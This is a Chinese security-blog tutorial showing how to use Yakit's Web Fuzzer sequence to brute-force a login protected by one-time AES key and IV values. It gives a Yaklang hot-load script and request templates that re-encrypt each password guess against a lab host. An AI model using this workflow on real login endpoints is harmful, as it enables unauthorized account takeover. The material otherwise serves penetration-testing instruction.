通过Web Fuzzer 序列,爆破一次性key和iv的加密数据包

admin 2025年4月6日22:08:43评论24 views字数 2705阅读9分1秒阅读模式

序列

什么是Web Fuzzer 序列?Web Fuzzer 序列就是将多个 Web Fuzzer 节点(类似于burpsuite repeater模块的请求包)串联起来,实现更复杂的逻辑与功能。例如我们需要先进行登录,然后再进行其他操作,这时候我们就可以使用 Web Fuzzer 序列功能。

本篇文章,通过使用Web Fuzzer 序列,解决数据包随机AES key和iv的问题。适用于后端返回key和iv的场合,不管是多次使用还是一次使用都可以。

官方资料

  • • 序列前置知识之高级配置
  • • Web Fuzzer序列基础
  • • 高级配置

在什么状况使用

以下图的AES服务端获取Key举例,加密流程如下:

  1. 1. 发送请求包,请求key和iv,其中key和iv与PHPSESSID绑定
  2. 2. 浏览器进行AES加密
  3. 3. 发送加密后的数据到后端
  4. 通过Web Fuzzer 序列,爆破一次性key和iv的加密数据包

这里的key和iv与PHPSESSID绑定,也就是说我们一直用同样的cookie就能像之前文章的那样,进行fuzzer。这样比较简单,我们讨论更进一步的情况。

假设key和iv都是一次性的,那么我们要对账号密码进行爆破的时候,就需要从数据包1中获取cookie、key和iv,然后加密后从数据包2发送过去。完成这个步骤需要两个数据包,这时,我们就可以使用序列。

序列使用

步骤如下:

  1. 1. 点击序列,将 4和8 放入序列组合中
  2. 2. step0 放入 4
  3. 3. step1 放入 8
通过Web Fuzzer 序列,爆破一次性key和iv的加密数据包
点击开始执行,获取响应包,我们后续配置需要我们要通过数据提取器,提取三个部分

通过Web Fuzzer 序列,爆破一次性key和iv的加密数据包
其中,Set-cookie,已经在默认变量中了,我们点击预览可以看到
通过Web Fuzzer 序列,爆破一次性key和iv的加密数据包
set_cookie
通过Web Fuzzer 序列,爆破一次性key和iv的加密数据包
选择变量继承,我们在step1中就能使用变量了
通过Web Fuzzer 序列,爆破一次性key和iv的加密数据包
Cookie: {{param(set_cookie)}}

查看history中的插件流量,能够看到此处变量已经改变

通过Web Fuzzer 序列,爆破一次性key和iv的加密数据包
接下来是提取key和iv,我们可以采用JQ

教程:https://jqlang.github.io/jq/manual/

.["aes_key"].["aes_iv"]

提取结果添加条件,提取两个

通过Web Fuzzer 序列,爆破一次性key和iv的加密数据包

不要将两个放在同一个变量下(比如data_0),这样操作会让yakit将data_0看成是一个可fuzzer的对象,你也不能按照你所想的把这些值提取出来。

点击调试执行,查看结果

通过Web Fuzzer 序列,爆破一次性key和iv的加密数据包
点击应用,数据提取器显示如下
通过Web Fuzzer 序列,爆破一次性key和iv的加密数据包
如何调用呢?如果是在请求包中使用,和调用cookie一样

{{param(data_0)}}{{param(data_1)}}

可以看到成功提取了

通过Web Fuzzer 序列,爆破一次性key和iv的加密数据包
当然上面只是演示,并不是我们真正想要的,我们想要的是aes加密然后爆破

beforeRequest = func(https, originReq, req) {    // 我们可以将请求进行一定的修改    postParams = poc.GetAllHTTPPacketPostParams(req /*type: []byte*/)    aes_key = postParams["key"]    aes_iv = postParams["iv"]    req_result = poc.DeleteHTTPPacketPostParam(req /*type: []byte*/, "key" /*type: string*/)    req_result = poc.DeleteHTTPPacketPostParam(req_result /*type: []byte*/, "iv" /*type: string*/)    // 将修改后的请求返回    return []byte(req_result)}

配置加解密

请求包

POST /encrypt/aesserver.php HTTP/1.1Host: 192.168.56.32:82Accept-Language: zh-CN,zh;q=0.9Content-Type: application/jsonReferer: http://192.168.56.32:82/Accept-Encoding: gzip, deflateCookie: {{param(set_cookie)}}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36Origin: http://192.168.56.32:82Accept: */*Content-Length: 84{"encryptedData":"{{payload(pass_top25)}}","key":"{{param(data_0)}}","iv":"{{param(data_1)}}"}

热加载

// beforeRequest 允许在每次发送数据包前对请求做最后的处理,定义为 func(https bool, originReq []byte, req []byte) []byte// https 请求是否为https请求// originReq 原始请求// req 请求beforeRequest = func(https, originReq, req) {    postParams = poc.ExtractPostParams(req)~    aes_key = postParams["key"]    aes_iv = postParams["iv"]    encryptedData = postParams["encryptedData"]    key = codec.DecodeBase64(aes_key)~    iv = codec.DecodeBase64(aes_iv)~    data = {"username":"admin","password":encryptedData}    params_en = codec.AESCBCEncryptWithPKCS7Padding(key /*type: []byte*/, json.dumps(data), iv /*type: []byte*/)~    data2 = codec.EncodeBase64(params_en)    req = poc.ReplaceHTTPPacketJsonBody(req, {"encryptedData":data2}) // 修改请求体内容为{"a":"b"}    // 将修改后的请求返回    return []byte(req)}

这里用了内置的AES加密工具,当然,如果遇到魔改的AES,可以参考之前写的jsRpc调用,通过浏览器进行加密。

结果展示

成功fuzz

通过Web Fuzzer 序列,爆破一次性key和iv的加密数据包

参考资料

  • • yakit官方教程

欢迎关注~

 

原文始发于微信公众号(进击的HACK):通过Web Fuzzer 序列,爆破一次性key和iv的加密数据包

 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月6日22:08:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通过Web Fuzzer 序列,爆破一次性key和iv的加密数据包https://cn-sec.com/archives/3917892.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息